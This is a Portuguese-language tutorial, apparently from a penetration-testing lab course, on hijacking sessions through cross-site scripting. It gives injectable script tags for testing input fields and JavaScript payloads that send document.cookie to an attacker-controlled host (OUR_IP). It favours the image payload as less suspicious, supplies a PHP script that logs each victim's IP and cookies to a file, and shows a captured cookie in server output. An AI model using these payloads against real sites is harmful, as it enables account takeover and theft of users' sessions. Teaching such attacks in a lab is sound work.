# Session Hijacking

As aplicações web modernas utilizam cookies para manter a sessão do usuário durante diferentes sessões de navegação. Isso permite que o usuário faça login apenas uma vez e mantenha sua sessão de login ativa, mesmo que visite o mesmo site em outro horário ou data. No entanto, se um usuário mal-intencionado obtiver os dados do cookie do navegador da vítima, ele poderá obter acesso logado com o usuário da vítima sem conhecer suas credenciais.

### Loading a Remote Script

Em HTML, podemos escrever código JavaScript dentro das `<script>`tags, mas também podemos incluir um script remoto fornecendo sua URL, como segue:

```html
<script src="http://OUR_IP/script.js"></script>
```

Antes de começarmos a enviar cargas, precisamos iniciar um listener em nossa VM, usando `netcat`ou `php`conforme mostrado na seção anterior:

```shell-session
mkdir /tmp/tmpserver
cd /tmp/tmpserver
sudo php -S 0.0.0.0:80
```

Agora podemos começar a testar essas cargas uma por uma usando uma delas para todos os campos de entrada e anexando o nome do campo após nosso IP, conforme mencionado anteriormente, como:

```html
<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
```

### Session Hijacking

Depois de encontrarmos uma carga XSS funcional e identificarmos o campo de entrada vulnerável, podemos prosseguir para a exploração do XSS e realizar um ataque de sequestro de sessão.

Existem vários payloads JavaScript que podemos usar para capturar o cookie de sessão e enviá-lo para nós, conforme mostrado por [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#exploit-code-or-poc) :&#x20;

```javascript
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
```

Usar qualquer uma das duas cargas deve funcionar para nos enviar um cookie, mas usaremos a segunda, pois ela simplesmente adiciona uma imagem à página, que pode não parecer muito maliciosa, enquanto a primeira navega para nosso PHP capturador de cookies página, o que pode parecer suspeito.

```javascript
new Image().src='http://OUR_IP/index.php?c='+document.cookie
```

Agora, podemos alterar o URL na carga XSS que encontramos anteriormente para usar `script.js`( `don't forget to replace OUR_IP with your VM IP in the JS script and the XSS payload`):

```html
<script src=http://OUR_IP/script.js></script>
```

Com nosso servidor PHP em execução, agora podemos usar o código como parte de nossa carga XSS, enviá-lo no campo de entrada vulnerável e devemos receber uma chamada para nosso servidor com o valor do cookie. No entanto, se houver muitos cookies, poderemos não saber qual valor de cookie pertence a qual cabeçalho de cookie. Assim, podemos escrever um script PHP para dividi-los com uma nova linha e gravá-los em um arquivo. Nesse caso, mesmo que várias vítimas acionem a exploração XSS, obteremos todos os seus cookies ordenados em um arquivo.

Podemos salvar o seguinte script PHP como `index.php`e executar novamente o servidor PHP:

```php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```

Agora, esperamos que a vítima visite a página vulnerável e visualize nossa carga XSS. Assim que o fizerem, receberemos duas solicitações em nosso servidor, uma para `script.js`, que por sua vez fará outra solicitação com o valor do cookie:

```shell-session
10.10.10.10:52798 [200]: /script.js
10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2
```
